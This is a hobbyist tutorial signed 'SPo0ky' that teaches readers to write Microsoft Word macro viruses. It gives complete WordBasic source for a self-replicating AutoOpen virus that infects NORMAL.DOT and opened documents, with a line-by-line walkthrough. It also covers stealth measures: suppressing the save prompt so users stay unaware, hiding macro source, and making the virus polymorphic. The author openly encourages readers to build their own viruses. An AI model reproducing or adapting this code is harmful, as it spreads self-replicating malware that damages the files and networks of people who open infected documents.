MS-Word Macro Viruses
by SPo0ky
Background:
Macro viruses... they are in the media since August 1995, when the
first macro virus was discovered, it was called CONCEPT (aka "The Prank
Program", "Prank Macro", "WinWord.Concept", "WordMacro.Concept").
Three month later there were already 3 other macro viruses created (DMV,
Nuclear, and Rainbow).
Since this time the number of macro viruses increased dramatically, today
there are over 1000 macro viruses (about 300 different 'families')!
Macro viruses have broken the rules of virus coding, they are able to
infect documents!
Nobody ever thought that it could be possible to INFECT a document ... until
the birth of Concept! It used the MS-Word macro language (Word-Basic) to
replicate itself.
In this text file i will try to teach you the basics of MS-Word-macro-
virus-programming. Till now i have written 5 macro viruses, i stopped when
M$-Office 97 came out. It had many changes which i didn't want to learn
again! I will not go in depth because i don't like macro-viruses, see the
pros and cons =>
Pros and cons of macro viruses:
1) [+]
Macro viruses are very easy to code. I needed 2 days for my first
macro virus without any prior word-basic knowledge.
You don't have to know a lot about the inner working on the
computer to write such a virus. Everything you have to know is how
MS-Word works and a bit about the MS-Word macro language (Word
Basic).
2) [+]
They can run on any platform (like Win95 -> Win3.x -> Macintosh ->
...) as long as MS-Word is installed on the system!
Most other viruses (DOS based viruses which infect COM, EXE and
Boot Sectors) can not spread to other platforms like to the
Macintosh because
1) every CPU has different instruction sets.
2) the file formats of executable files are different.
But macro viruses use Word Basic, and Word Basic is the same if it
is run on the PC or on the MAC!
3) [+]
Documents are very much exchanged between people (maybe more often
then executable files). MS-Word is used in many companies (yes, in
mine too! :) and in schools!
Once we had a macro virus infection at school. We had a novel
network running, and win word was used by almost everyone in the
school. The problem was that the NORMAL.DOT file had read/WRITE
rights for everybody, so the virus infected the normal.dot which
was used by the whole network!
4) [-]
Word Basic is a HLL (High Level Language), which means that it
doesn't give you full control over the system. On the other hand,
Assembly gives you TOTAL CONTROL over the CPU, isn't this what we
all want? ;-)
HLL's only give you some pre-defined functions which were written
by the programmer of the compiler/interpreter.
5) [-]
Macro viruses need very much memory. I was not able to run my
'spooky1' virus on a 486 with 4MB ram!
6) [-]
They are slow (as all HLL viruses)! Once you have written a very
big virus which uses lots of macros you will notice that the whole
program is getting very sloooooooow............
Ok, now we have three pros and three cons,... lets go on to the next topic :)
MS-Word Macros:
Before you can write a word macro program you have to know how ms-word
works, how it is structured, what macros are and how they work,...
A macro is a piece of code which is executed if a certain event
occurs. Such an event will occur if the user is going to save a file, open
a file, exits ms-word, copy text, whatever,..... everything the user does in
ms-word is an event which calls a macro.
Macros can be stored in 'Templates' (or .DOT files), they can also be
stored in the global template (NORMAL.DOT).
If a macro should only be active while the document is opened it should be
stored in the file (xxxxx.dot), but if it should be available all the time
while ms-word is run it should be saved in the normal.dot.
You can access (list, edit, delete) all available macros at 'Tools' =>
'Macro...'.
You will also see a field called 'Macroname:'. This field is used to create a
new macro or to edit an existing macro.
The name of a macro is built as following: Lets say you want to change the
macro which is executed if you save a new file... To save a new file you
would click on 'Files' => 'Save As...'.
So the macroname for this would be 'FilesSaveAs'! easy, eh?
If you type 'FileSaveAs' in the field 'Macroname:' in the macro dialogbox you
can edit the code which is executed if the user saves a new file.
Now you should get the idea! Everything we have to do to infect other
files is to change some macros which are called for Saving and for Opening of
files!
Ok, before i show you the code for a simple macro virus i will explain
some very basic Word-Basic macros...
Lets take a look at the original FileSaveAs macro. Open the Macro-
Dialog Box ('Tools' => 'Macro...') and type 'FileSaveAs' in the 'Macroname:'
field, now click on 'Create' and you will see the original source code of the
FileSaveAs macro.
This is what you will get:
-----------------------
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
FileSaveAs dlg
End Sub
-----------------------
=> 'Sub MAIN'
All macros begin with 'Sub MAIN'. 'Sub MAIN' indicates the beginning of the
macro. There can also be other Sub's (and/or functions) in the same macro,
but Sub MAIN is the macro which is run when the macro gets executed.
=> 'Dim dlg As FileSaveAs'
'dlg' is an undefined variable right now. Word-Basic uses 'Dim' to reserve
memory for variables.
We need the variable 'dlg' (Dialog) to access the information (like filename,
path,...) from the FileSaveAs dialog. So we just reserve as much memory as
FileSaveAs needs with 'dim dlg AS FileSaveAs'.
=> 'Dialog dlg'
At this point all 'informations' of the FileSaveAs dialog are stored in the
variable 'dlg'. ('informations' = X/Y position of the window, which input
fields the dialog has, where they are, just how the dialog looks like,...)
The 'Dialog' command will show this information as a dialog box on your
screen.
This dialog is the one that you get when you click on 'File' => 'Save As...'.
Everything (like path, filename,...) that you change in this dialog will be
changed in the variable 'dlg' too!
=> 'FileSaveAs dlg'
After you click on 'OK' in the dialog box this part will be executed.
'FileSaveAs dlg' will take the information stored in 'dlg' and it will use
this information to perform the action it is used for. It will use the
path+filename to create the file, it will check if the document has to be
encoded or not, etc.......
=> 'End Sub'
This indicates the end of this sub. At this point control is given back. Now
ms-word will wait for other events which will execute other macros...
Now we will change this macro so that it will popup a message box when
you click on File-SaveAs.
Again, go to 'Tools' => 'Macro...', type in FileSaveAs and click 'Create'.
You will see the original FileSaveAs source code again (same as above).
Insert the line:
MsgBox "Some Text"
after the line "Sub MAIN".
Close the window and when you are asked if you want to save the changes
choose YES.
Now create a new document and click on 'File' => 'SaveAs...'. You will see
a message box which displays your entered text!
... to remove this again, just edit the macro, remove the inserted line
'MsgBox "Some Text"' and save the macro.
Now you know the most important basics like how to edit macros, how to
list them and how they work... lets go to the good stuff, The Virus =>
The Virus:
I'll show you a very simple macro virus which uses only one macro.
I will not show you a very advanced macro virus because 1st) I'm too lazy and
2nd) it would only confuse you! Once you understand this code you will get
many ideas how to make your virus more advanced by yourself!
Here is the virus code, it exists off one macro, AutoOpen! The macro
AutoOpen is executed whenever a file is opened (you could also use FileOpen
but i like this one more).
... at first the whole code, the Step-by-Step explanation is below =>
-------------------------------------------------------------------
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
ToolsOptionsSave .GlobalDotPrompt = 0
If checkit(0) = 0 Then
MacroCopy FileName$() + ":autoopen", "global:autoopen"
End If
If (dlg.Format = 1) Or (dlg.Format = 0) Then
If checkit(1) = 0 Then
FileSaveAs .Format = 1
MacroCopy "global:autoopen", FileName$() + ":autoopen"
FileSave
End If
End If
End Sub
Function checkit(check_what)
checkit = 0
If CountMacros(check_what) >= 1 Then
For i = 1 To CountMacros(check_what)
If MacroName$(i, check_what) = "autoopen" Then checkit = 1
Next i
End If
End Function
-------------------------------------------------------------------
Step-by-Step:
Sub MAIN
----------
You know that... here is the start of our code...
Dim dlg As FileSaveAs
-----------------------
We will need the FileSaveAs function later, so we reserve some memory for
it.
GetCurValues dlg
------------------
... and we read the current settings.
ToolsOptionsSave .GlobalDotPrompt = 0
----------------------------------------
We will infect the global template (normal.dot). Once we changed
(infected) it, it will ask the user if he wants to save the changes! This
could make the user suspicious, so we just switch the option which asks
for confirmation to save the normal.dot OFF!
Again, lets take a look at this macro name "ToolsOptionsSave"... what
you'd have to do to change this manually is: clicking on TOOLS => OPTIONS
=> SAVE, this would popup a dialog box which has this option which you
can switch ON/OFF.
Sometimes it's hard to 'guess' the right name for a 'variable' like
.GlobalDotPrompt! To make it easier M$-Word has a pretty good help file!
Click on HELP => 'Microsoft Help' and choose 'Search', now type in the
macro name like 'ToolsOptionsSave', press enter and so you will get a
list of all used variables (like .GlobalDotPrompt)!
If checkit(0) = 0 Then
------------------------
This is an 'IF' statement. If the part before the '=' is the part after
the '=' it will execute the code after 'THEN'.
'CheckIt' is a function (look below) which will check if the File
Global.dot is already infected => Infection Check.
What the 0 (zero) between the '(', ')' means will be explained later in
the function. Anyway, the function 'checkit' will return ZERO if the
File/Global.dot is NOT infected yet!
MacroCopy FileName$() + ":autoopen", "global:autoopen"
--------------------------------------------------------
This is the part after the 'THEN' which will be only executed if the
function 'checkit' returns zero (=> if the Global Template is not
infected yet).
Now we know that the global template is not infected, lets do it! To
infect the global template and other .dot files (templates) we use the
function 'MacroCopy'!
The format of this function is:
MacroCopy "FROM_FILE:MACRONAME_FROM", "TO_FILE:MACRONAME_TO"[,1]
MacroCopy will copy the macro MACRONAME_FROM from FROM_FILE to
MACRONAME_TO in TO_FILE. If you want to copy a macro from/to the global
template you change FROM_FILE or TO_FILE to 'GLOBAL:'.
If I'd copy the macro 'TEST' from the global template to the file
FOOBAR.DOT I'd write:
MacroCopy "global:test", "foobar.dot:test"
The function FileName$() will return the the filename of the active
document (our document which includes the virus).
There is also an optional function, the ',1'.
If you write:
MacroCopy "global:test", "foobar.dot:test", 1
... you wouldn't be able to view the source code of the macro with
TOOLS => 'MACRO...' => 'Create' anymore!!! This can be used to hide
your virus code from the eyes of most people, BUT there are already
programs which can decrypt such macros!
End If
--------
End If indicates the end of the IF statement! Without this line of code
MS-Word wouldn't know where the IF statement ends. Never forget it!!
If (dlg.Format = 1) Or (dlg.Format = 0) Then
----------------------------------------------
Another IF statement. You see the 'OR'? 'OR' is used so that you can
compare more then one variables in one IF statement! If one or both of
the variables is true, the part after the THEN will be executed, if
NON of both variables is true the part after the THEN will NOT be run.
Anyway, here we check the current format of the opened file. Now we have
to use the 'infos' from the DLG variable (which includes the settings of
the FileSaveAs dialog).
We can check the file format with the variable .FORMAT of the dialog
FileSaveAs (DLG.FORMAT).
.Format will be a number from 0 to 6:
0 = Word Document (.doc)
1 = Template (.dot file)
2, 3, 4, 5 = generally PLAIN TEXT!
6 = Rich Text Format (.rtf files)
We are only interested in 0 (.doc) and 1 (.dot) files! So we check if
the format is 0 OR 1. If it is not, the part after the THEN will not
be executed. BUT if the format is 0 OR 1 we will infect it =>
If checkit(1) = 0 Then
------------------------
You remember, we already had almost the same line of code before. But
at this time we use ONE instead of ZERO between the '(', ')'. <- will
be explained later.
Anyway, here we check if the opened file is already infected...
FileSaveAs .Format = 1
------------------------
If it is NOT infected yet we will go on here...
If it is a .doc file we will have to convert it to .dot because .doc
files can't store macros!
To convert it we just set .FORMAT to 1 and then we call FILESAVEAS.
Remember: 1 is a template and templates can store macros.
MacroCopy "global:autoopen", FileName$() + ":autoopen"
--------------------------------------------------------
Now we can copy the macro into the .DOT file! We copy it from
GLOBAL:AUTOOPEN to FileName$():AUTOOPEN.
FileSave
----------
Now everything we have to do is to save the infected file again, else
the user would be asked to save the file when he tries to close the
file, this could make him suspicious too, so we just do it for him.
:-)
End If
--------
This is the END IF for the 'IF CHECKIT(1) = 0 THEN' line...
End If
--------
And this is the END IF for 'IF (DLG.FORMAT = 1) OR (DLG.FORMAT = 0) THEN'
line...
End Sub
---------
This indicates the end of the whole 'SUB'... it will return control to
MS-Word which will wait for other (more interesting) events. :-)
Function checkit(check_what)
------------------------------
This is a function which i have written to check a file/global template if
it is already infected.
This function can be called from somewhere else as "CHECKIT(x)". You
remember, i used it above two times...
When it is called with, lets say, CHECKIT(5), the variable CHECK_WHAT will
get the value 5. Later in the function this variable can be used for
calculations, or whatever,...
This function (CHECKIT) will return 0 or 1. If it returns 0 it means that
the file is NOT infected, if it returns 1 it means that the file is already
infected and that we should leave it alone.
checkit = 0
-------------
At first we set it to zero, we are not sure if it is infected or not, so
we put zero (not infected) into the checkit variable (or function). This
will change later if the virus is found!
If CountMacros(check_what) >= 1 Then
--------------------------------------
This IF statement will executed the next part only if there are more then
then 0 macros in the opened file/global template.
CountMacros will return the number of macros which exist in the file
'CHECK_WHAT'... BUT check_what is no filename, right? It is just a
number, in this virus 0 or 1. So what? =>
0 means global template and
1 means the currently active template (document)!
If we check the global template for previous infection we use 0 =>
"checkit(0)",
if we check an opened file we use 1 => "checkit(1)".
For i = 1 To CountMacros(check_what)
--------------------------------------
FOR is a 'loop'... it repeats the commands between the 'FOR' and 'NEXT'
command until I (Counter) is bigger then "CountMacros(check_what)".
The counter (I) is increased by 1 every time.
If you don't understand what it does, look for it in the M$-Word help
file!!!
Anyway, we repeat the following commands as often as many macros we
have in the currently checked template (0 or 1). "I" will have the
number of the current checked macro everytime.
If MacroName$(i, check_what) = "autoopen" Then checkit = 1
------------------------------------------------------------
This IF statement will check if the macro AUTOOPEN already exists in
check_what (0/1 => global template/file).
MacroName$(i, check_what) will return the macroname I from the file
CHECK_WHAT. Because of the above FOR, "I" is increased every round.
If "I" is 4 and CHECK_WHAT is 0, MacroName will return the 4th macro
from the global template. got it? Then it compares the returned
macroname with "AUTOOPEN", if it finds this macroname in the file
which should be infected it will set CHECKIT to 1 (remember, if
checkit returns 1 it means that the file is already infected)!
Next i
--------
'NEXT I' indicates the end of the FOR loop, it jumps back to the
'FOR I = 1 TO COUNTMACROS(CHECK_WHAT)' line to increase "I" and to
start a new round.
End If
--------
This is the END IF for the "IF COUNTMACROS(CHECK_WHAT) >= 1 THEN" line.
End Function
--------------
Indicates the end of this function. It will jump back to the SUB where it
was called from.
Puh, that was a lot! I hope you did understand everything! If you
didn't understand certain commands then look at the MS-Word help file, it has
pretty easy explanations and examples for every command!
Now you should be able to write your own macro-viruses, i gave you the
basics, try to impoofe your viruses with some protection:
Don't allow to open the Macro-Toolbox (change the macro ToolsMacros) or make
a new ToolsMacros Dialog which filters the macros of your virus out
(stealth).
Try to make your viruses polymorph (yes, this is possible too in macro's)...
i have never used it in one of my viruses, but there are viruses which change
their variable names and store the original's in the win95 registery.
Ok, be creative and have FUN! ;-)
--SPo0ky
[spo0ky@thepentagon.com]